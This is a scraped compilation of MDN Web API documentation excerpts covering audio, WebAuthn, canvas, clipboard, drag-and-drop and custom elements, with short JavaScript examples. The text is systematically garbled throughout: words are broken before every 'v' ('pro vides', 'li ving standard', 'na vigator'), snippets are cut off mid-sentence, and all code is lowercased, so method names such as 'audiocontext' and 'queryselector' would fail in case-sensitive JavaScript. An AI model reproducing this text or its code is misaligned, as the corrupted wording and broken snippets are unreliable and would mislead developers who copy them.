...their speakers), so you can get it hooked up inside an audio graph using only a few lines of code: var audioctx = new audiocontext(); var source = audioctx.createmediaelementsource(mymediaelement); source.connect(gainnode); gainnode.connect(audioctx.destination); to see a more complete implementation, check out one of our mdn web audio examples, such as voice-change-o-matic or
violent theremin.
AudioProcessingEvent - Web APIs
example the following example shows basic usage of a scriptprocessornode to take a track loaded
via audiocontext.decodeaudiodata(), process it, adding a bit of white noise to each audio sample of the input track (buffer) and play it through the audiodestinationnode.
... note: for a full working example, see our script-processor-node github repo (also
view the source code.) var myscript = document.queryselector('script'); var mypre = document.queryselector('pre'); var playbutton = document.queryselector('button'); // create audiocontext and buffer source var audioctx = new audiocontext(); source = audioctx.createbuffersource(); // create a scriptprocessornode with a buffersize of 4096 and a single input and output channel var scriptnode...
... = audioctx.createscriptprocessor(4096, 1, 1); console.log(scriptnode.buffersize); // load in an audio track
via xhr and decodeaudiodata function getdata() { request = new xmlhttprequest(); request.open('get', '
viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { mybuffer = buffer; source.buffer = mybuffer; }, function(e){"error with decoding audio data" + e.err}); } request.send(); } // give the node a function to process audio events scriptnode.onaudioprocess = function(audioprocessingevent) { // the input buffer is the song we loaded earlier var inputbuffer = audioprocessingevent.inputbuffer; // the output buffer contain...
AudioTrack.label - Web APIs
esc", "translation", "commentary" ]; el.audiotracks.foreach(function(track) { if (wantedkinds.includes(track.kind)) { tracklist.push({ id: track.id, kind: track.kind, label: track.label }); } }); return tracklist; } the resulting tracklist contains an array of audio tracks whose kind is one of those in the array wantedkinds, with each entry pro
viding the track's id, kind, and label.
... specifications specification status comment html li
ving standardthe definition of 'audiotrack.label' in that specification.
... li
ving standard html5the definition of 'audiotrack.label' in that specification.
AudioTrackList: change event - Web APIs
bubbles no cancelable no interface event event handler property onchange examples using addeventlistener(): const
videoelement = document.queryselector('
video');
videoelement.audiotracks.addeventlistener('change', (event) => { console.log(`'${event.type}' event fired`); }); // changing the value of `enabled` will trigger the `change` event const toggletrackbutton = document.queryselector('.toggle-track'); toggletrackbutton.addeventlistener('click', () => { const track =
videoelement.audiotracks[0]; track.enabled = !track.enabled; }); using the onchange event handler property: const
videoelement = doc...
...ument.queryselector('
video');
videoelement.audiotracks.onchange = (event) => { console.log(`'${event.type}' event fired`); }; // changing the value of `enabled` will trigger the `change` event const toggletrackbutton = document.queryselector('.toggle-track'); toggletrackbutton.addeventlistener('click', () => { const track =
videoelement.audiotracks[0]; track.enabled = !track.enabled; }); specifications specification status html li
ving standardthe definition of 'change' in that specification.
... li
ving standard ...
AudioTrackList.onremovetrack - Web APIs
document.queryselector("my-
video").audiotracks.onremovetrack = function(event) { mytrackcount = document.queryselector("my-
video").audiotracks.length; }; the current number of audio tracks remaining in the media element is obtained from audiotracklist property length.
... specifications specification status comment html li
ving standardthe definition of 'audiotracklist.onremovetrack' in that specification.
... li
ving standard html5the definition of 'audiotracklist.onremovetrack' in that specification.
AuthenticatorAssertionResponse.signature - Web APIs
it pro
vides the proof that an authenticator does possess the private key which was used for the credential's generation.
... note: an authenticatorassertionresponse instance is available on publickeycredential.response after calling na
vigator.credentials.get().
... examples var options = { challenge: new uint8array(26), // will be another value, pro
vided by the relying party server timeout: 60000 }; na
vigator.credentials.get({ publickey: options }) .then(function (assertionpkcred) { var signature = assertionpkcred.response.signature; // send response and client extensions to the server so that it can // go on with the authentication }).catch(function (err) { console.error(err); }); specifications specificatio...
AuthenticatorAssertionResponse - Web APIs
the authenticatorassertionresponse interface of the web authentication api is returned by credentialscontainer.get() when a publickeycredential is passed, and pro
vides proof to a ser
vice that it has a key pair and that the authentication request is valid and approved.
...the assertion signature is created with the private key of keypair that was created during the na
vigator.credentials.create() call and verified using the public key of that same keypair.
... examples var options = { challenge: new uint8array([/* bytes sent from the server */]) }; na
vigator.credentials.get({ "publickey": options }) .then(function (credentialinfoassertion) { var assertionresponse = credentialinfoassertion.response; // do something specific with the response // send assertion response back to the server // to proceed with the control of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'authenticatorassertionresponse int...
AuthenticatorResponse - Web APIs
the authenticatorresponse interface of the web authentication api is the base interface for interfaces that pro
vide a cryptographic root of trust for a key pair.
... examples getting an authenticatorassertionresponse var options = { challenge: new uint8array([/* bytes sent from the server */]) }; na
vigator.credentials.get({ "publickey": options }) .then(function (credentialinfoassertion) { var assertionresponse = credentialinfoassertion.response; // send assertion response back to the server // to proceed with the control of the credential }).catch(function (err) { console.error(err); }); getting an authenticatorattestationresponse var publickey = { challenge: /* fro...
...m the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(16), name: "jdoe@example.com", displayname: "john doe" }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; na
vigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { var attestationresponse = newcredentialinfo.response; }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'authenticatorresponse interface' in that specification.
BasicCardRequest - Web APIs
basiccardrequest.supportedtypes optional secure context this obsolete property was used to pro
vide an optional array of domstrings representing the card types that the retailer supports (e.g.
...those are: amex cartebancaire diners discover jcb mastercard mir unionpay
visa examples in the following example, the paymentrequest() constructor is used to create a new payment request, which takes three objects as parameters — one containing details of the payment methods that can be used for the payment, one containing details of the actual order (such as items bought and shipping options), and an optional object that describes what data is needed to fullfil the...
... var supportedinstruments = [{ supportedmethods: 'basic-card', data: { supportednetworks: ['
visa', 'mastercard', 'amex', 'jcb', 'diners', 'discover', 'mir', 'unionpay'] } }]; var details = { total: {label: 'donation', amount: {currency: 'usd', value: '65.00'}}, displayitems: [ { label: 'original donation amount', amount: {currency: 'usd', value: '65.00'} } ], shippingoptions: [ { id: 'standard', label: 'standard shipping', amount: {currency: 'usd', value: '0.00'}, selected: true } ] }; ...
Battery Status API - Web APIs
the battery status api, more often referred to as the battery api, pro
vides information about the system's battery charge level and lets you be notified by events that are sent when the battery level or charging status change.
... the battery status api extends window.na
vigator with a na
vigator.getbattery() method returning a battery promise, which is resolved in a batterymanager object pro
viding also some new events you can handle to monitor the battery status.
... na
vigator.getbattery().then(function(battery) { function updateallbatteryinfo(){ updatechargeinfo(); updatelevelinfo(); updatecharginginfo(); updatedischarginginfo(); } updateallbatteryinfo(); battery.addeventlistener('chargingchange', function(){ updatechargeinfo(); }); function updatechargeinfo(){ console.log("battery charging?
BeforeInstallPromptEvent - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 8.571428571428571%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-20 0 700 60" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20...
...this is pro
vided for user agents that want to present a choice of versions to the user such as, for example, "web" or "play" which would allow the user to chose between a web version or an android version.
... example window.addeventlistener("beforeinstallprompt", function(e) { // log the platforms pro
vided as options in an install prompt console.log(e.platforms); // e.g., ["web", "android", "windows"] e.userchoice.then(function(choiceresult) { console.log(choiceresult.outcome); // either "accepted" or "dismissed" }, handleerror); }); ...
BiquadFilterNode() - Web APIs
viewed another way, this is the frequency with maximal group delay.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbiquadfilternode() constructorchrome full support 55notes full support 55notes notes before chrome 59, the default values were not supported.edge full support ≤79firefox ...
... web
view android full support 55notes full support 55notes notes before version 59, the default values were not supported.chrome android full support 55notes full support 55notes notes before chrome 59, the default values were not supported.firefox android ...
Bluetooth.getAvailability() - Web APIs
the getavailability() method of bluetooth interface of web bluetooth api interface exposes the bluetooth capabilities of the current de
vice.
... note: user might not allow use of web bluetooth api, even if getavailability() returned true (na
vigator.bluetooth.requestde
vice() might not resolve with a bluetoothde
vice).
... examples the following snippet prints out a message in the console specifying wheter or not bluetooth is supported: na
vigator.bluetooth.getavailability().then(available => { if (available) console.log("this de
vice supports bluetooth!"); else console.log("doh!
BluetoothRemoteGATTCharacteristic.readValue() - Web APIs
the bluetoothremotegattcharacteristic.readvalue() method returns a promise that resolves to a data
view holding a duplicate of the value property if it is available and supported.
... syntax bluetoothremotegattcharacteristic.readvalue().then(function(data
view) { ...
... }) returns a promise that resolves to an data
view.
isPrimary - Web APIs
the bluetoothgattser
vice.isprimary read-only property returns a boolean that indicates whether this is a primary ser
vice.
... if it is not a primary ser
vice, it is a secondary ser
vice.
... syntax var isprimary = bluetoothgattser
vice.isprimary returns a boolean.
Body.formData() - Web APIs
note: this is mainly relevant to ser
vice workers.
... if a user submits a form and a ser
vice worker intercepts the request, you could for example call formdata() on it to obtain a key-value map, modify some fields, then send the form onwards to the server (or use it locally).
... li
ving standard ...
Broadcast Channel API - Web APIs
recei
ving a message when a message is posted, a message event is dispatched to each broadcastchannel object connected to this channel.
... specifications specification status comment html li
ving standardthe definition of 'the broadcast channel api' in that specification.
... li
ving standard initial definition.
CSSValueList - Web APIs
the cssvaluelist interface derives from the cssvalue interface and pro
vides the abstraction of an ordered collection of css values.
... the items in the cssvaluelist are accessible
via an integral index, starting from 0.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/cssvalue" target="_top"><rect x="1" y="1" width="80" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="41" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">cssvalue</text></a><polyline points="81,25 91,20 91,30 81,25" stroke="#d4dde4" fill="none"/><line x1="91" y1="25" x2="121" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/cssvaluelist" t...
Determining the dimensions of elements - Web APIs
if you need to know the total amount of space an element occupies, including the width of the
visible content, scrollbars (if any), padding, and border, you want to use the htmlelement.offsetwidth and htmlelement.offsetheight properties.
... if you need to know the actual size of the content, regardless of how much of it is currently
visible, you need to use the element.scrollwidth and element.scrollheight properties.
... these return the width and height of the entire content of an element, even if only part of it is presently
visible due to the use of scroll bars.
Cache.match() - Web APIs
note: cache.match() is basically identical to cache.matchall(), except that rather than resol
ving with an array of all matching responses, it resolves with the first matching response only (that is, response[0]).
...if no fetch handlers call event.respondwith(), the request will be handled by the browser as if there were no ser
vice worker involvement.
...fetch event for', event.request.url); event.respondwith( fetch(event.request).catch(function(e) { console.error('fetch failed; returning offline page instead.', e); return caches.open(offline_cache).then(function(cache) { return cache.match(offline_url); }); }) ); } }); specifications specification status comment ser
vice workersthe definition of 'cache match' in that specification.
Cache.matchAll() - Web APIs
if the url matches you will get a match regardless of the response object ha
ving a vary header or not.
... note: cache.match() is basically identical to cache.matchall(), except that rather than resol
ving with an array of all matching responses, it resolves with the first matching response only (that is, response[0]).
... examples caches.open('v1').then(function(cache) { cache.matchall('/images/').then(function(response) { response.foreach(function(element, index, array) { cache.delete(element); }); }); }) specifications specification status comment ser
vice workersthe definition of 'cache: matchall' in that specification.
CanvasImageSource - Web APIs
canvasimagesource pro
vides a mechanism for other interfaces to be used as image sources for some methods of the canvasdrawimage and canvasfillstrokestyles interfaces.
... the interfaces that it allows to be used as image sources are the following: htmlimageelement svgimageelement html
videoelement htmlcanvaselement imagebitmap offscreencanvas specifications specification status comment html li
ving standardthe definition of 'canvasimagesource' in that specification.
... li
ving standard initial definition.
CanvasPattern - Web APIs
the canvaspattern interface represents an opaque object describing a pattern, based on an image, a canvas, or a
video, created by the canvasrenderingcontext2d.createpattern() method.
... specifications specification status comment html li
ving standardthe definition of 'canvaspattern' in that specification.
... li
ving standard added settransform() method in v5.
CanvasRenderingContext2D.clip() - Web APIs
it replaces any pre
vious clipping region.
...t.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // create clipping path let region = new path2d(); region.rect(80, 10, 20, 130); region.rect(40, 50, 100, 50); ctx.clip(region, "evenodd"); // draw stuff that gets clipped ctx.fillstyle = 'blue'; ctx.fillrect(0, 0, canvas.width, canvas.height); result specifications specification status comment html li
ving standardthe definition of 'canvasrenderingcontext2d.clip' in that specification.
... li
ving standard ...
CanvasRenderingContext2D.createPattern() - Web APIs
it can be any of the following: htmlimageelement (<img>) svgimageelement (<image>) html
videoelement (<
video>, by using the capture of the
video) htmlcanvaselement (<canvas>) imagebitmap offscreencanvas repetition a domstring indicating how to repeat the pattern's image.
...ith the pattern const canvas = document.createelement('canvas'); const ctx = canvas.getcontext('2d'); const pattern = ctx.createpattern(patterncanvas, 'repeat'); ctx.fillstyle = pattern; ctx.fillrect(0, 0, canvas.width, canvas.height); // add our primary canvas to the webpage document.body.appendchild(canvas); result specifications specification status comment html li
ving standardthe definition of 'canvasrenderingcontext2d.createpattern' in that specification.
... li
ving standard ...
CanvasRenderingContext2D.fillStyle - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.fillstyle = 'blue'; ctx.fillrect(10, 10, 100, 100); result creating multiple fill colors using loops in this example, we use two for loops to draw a grid of rectangles, each ha
ving a different fill color.
...s'); const ctx = canvas.getcontext('2d'); for (let i = 0; i < 6; i++) { for (let j = 0; j < 6; j++) { ctx.fillstyle = `rgb( ${math.floor(255 - 42.5 * i)}, ${math.floor(255 - 42.5 * j)}, 0)`; ctx.fillrect(j * 25, i * 25, 25, 25); } } the result looks like this: screenshotlive sample specifications specification status comment html li
ving standardthe definition of 'canvasrenderingcontext2d.fillstyle' in that specification.
... li
ving standard ...
CanvasRenderingContext2D.fillText() - Web APIs
however, if this value is pro
vided, the user agent will adjust the kerning, select a more horizontally condensed font (if one is available or can be generated without loss of quality), or scale down to a smaller font size in order to fit the text in the specified width.
... html <canvas id="canvas" width="400" height="150"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.font = '50px serif'; ctx.filltext('hello world', 50, 90, 140); result specifications specification status comment html li
ving standardthe definition of 'canvasrenderingcontext2d.filltext' in that specification.
... li
ving standard ...
CanvasRenderingContext2D.putImageData() - Web APIs
if a dirty rectangle is pro
vided, only the pixels from that rectangle are painted.
...g("before:", pixels); context.putimagedata(imgdata, 0, 0); const imgdata2 = context.getimagedata(0, 0, canvas.width, canvas.height); const pixels2 = imgdata2.data; console.log("after:", pixels2); the output might look like: before: uint8clampedarray(4) [ 1, 127, 255, 1 ] after: uint8clampedarray(4) [ 255, 255, 255, 1 ] specifications specification status comment html li
ving standardthe definition of 'canvasrenderingcontext2d.putimagedata' in that specification.
... li
ving standard ...
CanvasRenderingContext2D.save() - Web APIs
syntax void ctx.save(); examples sa
ving the drawing state this example uses the save() method to save the default state and restore() to restore it later, so that you are able to draw a rect with the default state later.
...tml <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // save the default state ctx.save(); ctx.fillstyle = 'green'; ctx.fillrect(10, 10, 100, 100); // restore the default state ctx.restore(); ctx.fillrect(150, 40, 100, 100); result specifications specification status comment html li
ving standardthe definition of 'canvasrenderingcontext2d.save' in that specification.
... li
ving standard ...
CanvasRenderingContext2D.scale() - Web APIs
a scaling transformation modifies this beha
vior.
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.scale(-1, 1); ctx.font = '48px serif'; ctx.filltext('hello world!', -280, 90); ctx.settransform(1, 0, 0, 1, 0, 0); result specifications specification status comment html li
ving standardthe definition of 'canvasrenderingcontext2d.scale' in that specification.
... li
ving standard ...
CanvasRenderingContext2D.shadowOffsetX - Web APIs
examples mo
ving a shadow horizontally this example adds a blurred shadow to a rectangle.
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // shadow ctx.shadowcolor = 'red'; ctx.shadowoffsetx = 25; ctx.shadowblur = 10; // rectangle ctx.fillstyle = 'blue'; ctx.fillrect(20, 20, 150, 100); result specifications specification status comment html li
ving standardthe definition of 'canvasrenderingcontext2d.shadowoffsetx' in that specification.
... li
ving standard ...
CanvasRenderingContext2D.shadowOffsetY - Web APIs
examples mo
ving a shadow vertically this example adds a blurred shadow to a rectangle.
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // shadow ctx.shadowcolor = 'red'; ctx.shadowoffsety = 25; ctx.shadowblur = 10; // rectangle ctx.fillstyle = 'blue'; ctx.fillrect(20, 20, 150, 80); result specifications specification status comment html li
ving standardthe definition of 'canvasrenderingcontext2d.shadowoffsety' in that specification.
... li
ving standard ...
CanvasRenderingContext2D.stroke() - Web APIs
if you don't, the pre
vious sub-paths will remain part of the current path, and get stroked every time you call the stroke() method.
...document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.linewidth = 16; ctx.strokestyle = 'red'; // stroke on top of fill ctx.beginpath(); ctx.rect(25, 25, 100, 100); ctx.fill(); ctx.stroke(); // fill on top of stroke ctx.beginpath(); ctx.rect(175, 25, 100, 100); ctx.stroke(); ctx.fill(); result specifications specification status comment html li
ving standardthe definition of 'canvasrenderingcontext2d.stroke' in that specification.
... li
ving standard ...
CanvasRenderingContext2D.strokeStyle - Web APIs
html <canvas id="canvas"></canvas> javascript var canvas = document.getelementbyid('canvas'); var ctx = canvas.getcontext('2d'); ctx.strokestyle = 'blue'; ctx.strokerect(10, 10, 100, 100); result creating multiple stroke colors using loops in this example, we use two for loops and the arc() method to draw a grid of circles, each ha
ving a different stroke color.
...+) { for (let j = 0; j < 6; j++) { ctx.strokestyle = `rgb( 0, ${math.floor(255 - 42.5 * i)}, ${math.floor(255 - 42.5 * j)})`; ctx.beginpath(); ctx.arc(12.5 + j * 25, 12.5 + i * 25, 10, 0, math.pi * 2, true); ctx.stroke(); } } the result looks like this: screenshotlive sample specifications specification status comment html li
ving standardthe definition of 'canvasrenderingcontext2d.strokestyle' in that specification.
... li
ving standard ...
Drawing text - Web APIs
« pre
viousnext » after ha
ving seen how to apply styles and colors in the pre
vious chapter, we will now have a look at how to draw text onto the canvas.
... drawing text the canvas rendering context pro
vides two methods to render text: filltext(text, x, y [, maxwidth]) fills a given text at the given (x,y) position.
... « pre
viousnext » ...
CharacterData - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="1...
... nondocumenttypechildnode.pre
viouselementsibling read only returns the element immediately prior to the specified one in its parent's children list, or null if the specified element is the first one in the list.
... li
ving standard added implemention of the childnode and nondocumenttypechildnode interface.
Clipboard.write() - Web APIs
syntax var promise = na
vigator.clipboard.write(data) parameters data an array of clipboarditem objects containing data to be written to the clipboard.
... function setclipboard(text) { let data = [new clipboarditem({ "text/plain": text })]; na
vigator.clipboard.write(data).then(function() { /* success */ }, function() { /* failure */ }); } the code begins by creating a new clipboarditem object into which the text will be placed for sending to the clipboard.
... example of copying canvas contents to the clipboard function copycanvascontentstoclipboard(canvas, ondone, onerror) { canvas.toblob(function (blob) { let data = [new clipboarditem({ [blob.type]: blob })]; na
vigator.clipboard.write(data).then(function () { ondone(); }, function (err) { onerror(err); }) }); } note: you can only pass in one clipboard item at a time.
CloseEvent() - Web APIs
closeeventinit optional is a closeeventinit dictionary, ha
ving the following fields: "wasclean", optional and defaulting to false, of type long, indicates if the connection has been closed cleanly or not.
... specifications specification status comment html li
ving standardthe definition of 'closeevent()' in that specification.
... li
ving standard initial definition.
Comment - Web APIs
the comment interface represents textual notations within markup; although it is generally not
visually shown, such comments are available to be read in the source
view.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,2...
... li
ving standard added the constructor.
Console.timeEnd() - Web APIs
stops a timer that was pre
viously started by calling console.time().
...in addition, the call to timeend() has the additional information, "timer ended" to make it ob
vious that the timer is no longer tracking time.
... li
ving standard initial definition ...
Console.timeLog() - Web APIs
logs the current value of a timer that was pre
viously started by calling console.time() to the console.
...in addition, the call to timeend() has the additional information, "timer ended" to make it ob
vious that the timer is no longer tracking time.
... li
ving standard initial definition ...
ContentIndexEvent - Web APIs
this event is sent to the global scope of a ser
viceworker.
... id read only a string which identifies the deleted content index
via it's id.
... examples this example shows the se
vice worker script listening for the contentdelete event and logs the removed content index id.
CredentialsContainer.preventSilentAccess() - Web APIs
the preventsilentaccess() method of the credentialscontainer interface sets a flag that specifies whether automatic log in is allowed for future
visits to the current origin, then returns an empty promise.
... for example, you might call this, after a user signs out of a website to ensure that he/she isn't automatically signed in on the next site
visit.
...this method is typically called after a user signs out of a website, ensuring this user's login information is not automatically passed on the next site
visit.
CustomElementRegistry.define() - Web APIs
syntaxerror the pro
vided name is not a valid custom element name.
...ow.appendchild(text); // update count when element content changes setinterval(function() { var count = 'words: ' + countwords(wcparent); text.textcontent = count; }, 200) } } // define the new element customelements.define('word-count', wordcount, { extends: 'p' }); <p is="word-count"></p> specifications specification status comment html li
ving standardthe definition of 'customelements.define()' in that specification.
... li
ving standard initial definition.
CustomElementRegistry.get() - Web APIs
the get() method of the customelementregistry interface returns the constructor for a pre
viously-defined custom element.
...template = document.getelementbyid('my-paragraph'); let templatecontent = template.content; const shadowroot = this.attachshadow({mode: 'open'}) .appendchild(templatecontent.clonenode(true)); } }) // return a reference to the my-paragraph constructor let ctor = customelements.get('my-paragraph'); specifications specification status comment html li
ving standardthe definition of 'customelements.get()' in that specification.
... li
ving standard initial definition.
CustomElementRegistry.whenDefined() - Web APIs
exceptions exception description syntaxerror if the pro
vided name is not a valid custom element name, the promise rejects with a syntaxerror.
...await promise.all(promises); container.removechild(placeholder); specifications specification status comment html li
ving standardthe definition of 'customelements.whendefined()' in that specification.
... li
ving standard initial definition.
CustomElementRegistry - Web APIs
the customelementregistry interface pro
vides methods for registering custom elements and querying registered elements.
... specifications specification status comment html li
ving standardthe definition of 'customelementregistry' in that specification.
... li
ving standard initial definition.
CustomEvent() - Web APIs
customeventinit optional a customeventinit dictionary, ha
ving the following fields: "detail", optional and defaulting to null, of type any, that is an event-dependent value associated with the event.
... return value a new customevent object of the specified type, with any other properties configured according to the customeventinit dictionary (if one was pro
vided).
... li
ving standard initial definition.
DOMImplementation - Web APIs
the domimplementation interface represents an object pro
viding methods which are not dependent on any particular document.
...old browsers are very inconsistent in their beha
vior.
... li
ving standard removed the getfeature() method.
DOMParser - Web APIs
the domparser interface pro
vides the ability to parse xml or html source code from a string into a dom document.
...e)) { var doc = document.implementation.createhtmldocument(""); if (markup.tolowercase().indexof('<!doctype') > -1) { doc.documentelement.innerhtml = markup; } else { doc.body.innerhtml = markup; } return doc; } else { return nativeparse.apply(this, arguments); } }; }(domparser)); specifications specification status comment html li
ving standardthe definition of 'dom parsing' in that specification.
... li
ving standard ...
DataTransfer.clearData() - Web APIs
if this parameter is an empty string or is not pro
vided, the data for all types is removed.
...nt = document.getelementbyid(_data); // append drag source element to event's target element event.target.appendchild(element); // change css styles and displayed text element.style.csstext = 'border: 1px solid black;display: block; color: red'; element.innerhtml = "i'm in the drop zone!"; } }) specifications specification status comment html li
ving standardthe definition of 'datatransfer.cleardata()' in that specification.
... li
ving standard html 5.1the definition of 'datatransfer.cleardata()' in that specification.
DataTransfer.dropEffect - Web APIs
the datatransfer.dropeffect property controls the feedback (typically
visual) the user is given during a drag and drop operation.
...ext"); ev.target.appendchild(document.getelementbyid(data)); } function dragover_handler(ev) { console.log("dragover: dropeffect = " + ev.datatransfer.dropeffect + " ; effectallowed = " + ev.datatransfer.effectallowed); ev.preventdefault(); // set the dropeffect to move ev.datatransfer.dropeffect = "move" } specifications specification status comment html li
ving standardthe definition of 'dropeffect' in that specification.
... li
ving standard html 5.1the definition of 'dropeffect' in that specification.
DataTransfer.effectAllowed - Web APIs
<!doctype html> <html lang=en> <title>examples of datatransfer.{dropeffect,effectallowed} properties</title> <meta content="width=de
vice-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> <script> function dragstart_handler(ev) { console.log("dragstart: dropeffect = " + ev.datatransfer.dropeffect + " ; effectallowed = " + ev.datatransfer.effectallowed); // add this element's id to the drag payload so ...
...</h1> <div> <p id="source" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html li
ving standardthe definition of 'effectallowed' in that specification.
... li
ving standard html 5.1the definition of 'effectallowed' in that specification.
DataTransfer.getData() - Web APIs
this may result in unexpected beha
vior, being datatransfer.getdata() not returning an expected value.
...", dragevent.target.id); dragevent.target.style.color = 'green'; } function drop(dropevent) { dropevent.preventdefault(); var data = dropevent.datatransfer.getdata("text"); dropevent.target.appendchild(document.getelementbyid(data)); document.getelementbyid("drag").style.color = 'black'; } result specifications specification status comment html li
ving standardthe definition of 'getdata()' in that specification.
... li
ving standard html 5.1the definition of 'getdata()' in that specification.
DataTransfer.items - Web APIs
<!doctype html> <html lang=en> <title>examples of datatransfer.{types,items} properties</title> <meta content="width=de
vice-width"> <style> div { margin: 0em; padding: 2em; } #target { border: 1px solid black; } </style> <script> function dragstart_handler(ev) { console.log("dragstart: target.id = " + ev.target.id); // add this element's id to the drag payload so the drop handler will // know which element to add to its tree ev.datatransfer.setdata("text/plain", ev.target.id); ev.datatransfe...
...ondragstart="dragstart_handler(event);" draggable="true">drag item 1 to the drop zone</li> <li id="i2" ondragstart="dragstart_handler(event);" draggable="true">drag item 2 to the drop zone</li> </ul> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html li
ving standardthe definition of 'items' in that specification.
... li
ving standard html 5.1the definition of 'items' in that specification.
DataTransfer.setData() - Web APIs
<!doctype html> <html lang=en> <title>examples of datatransfer's setdata(), getdata() and cleardata()</title> <meta content="width=de
vice-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> <script> function dragstart_handler(ev) { console.log("dragstart"); // change the source element's background color to signify drag has started ev.currenttarget.style.border = "dashed"; // set the drag's format and...
...</h1> <div> <p id="source" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html li
ving standardthe definition of 'setdata()' in that specification.
... li
ving standard html 5.1the definition of 'setdata()' in that specification.
DataTransferItemList.add() - Web APIs
exceptions notsupportederror a string data parameter was pro
vided, and the list already contains an item whose kind is "plain unicode string" and whose type is equal to the specified type parameter.
...t the dropeffect to move ev.datatransfer.dropeffect = "move" } function dragend_handler(ev) { console.log("dragend"); var datalist = ev.datatransfer.items; for (var i = 0; i < datalist.length; i++) { datalist.remove(i); } // clear any remaining drag data datalist.clear(); } result result link specifications specification status comment html li
ving standardthe definition of 'add()' in that specification.
... li
ving standard html 5.1the definition of 'add()' in that specification.
DataTransferItemList.clear() - Web APIs
the datatransferitemlist method clear() removes all datatransferitem objects from the drag data items list, lea
ving the list empty.
...set the dropeffect to move ev.datatransfer.dropeffect = "move" } function dragend_handler(ev) { console.log("dragend"); var datalist = ev.datatransfer.items; for (var i = 0; i < datalist.length; i++) { datalist.remove(i); } // clear any remaining drag data datalist.clear(); } result result link specifications specification status comment html li
ving standardthe definition of 'clear()' in that specification.
... li
ving standard html 5.1the definition of 'clear()' in that specification.
DeprecationReportBody - Web APIs
properties id a string representing the deprecated feature that generated the report, for example na
vigatorgetusermedia.
... examples in our deprecation_report.html example, we create a simple reporting observer to observe usage of deprecated features on our web page: let options = { types: ['deprecation'], buffered: true } let observer = new reportingobserver(function(reports, observer) { reportbtn.onclick = () => displayreports(reports); }, options); we then tell it to start obser
ving reports using reportingobserver.observe(); this tells the observer to start collecting reports in its report queue, and runs the callback function specified inside the constructor: observer.observe(); because of the event handler we set up inside the reportingobserver() constructor, we can now click the button to display the report details.
... the report details are displayed
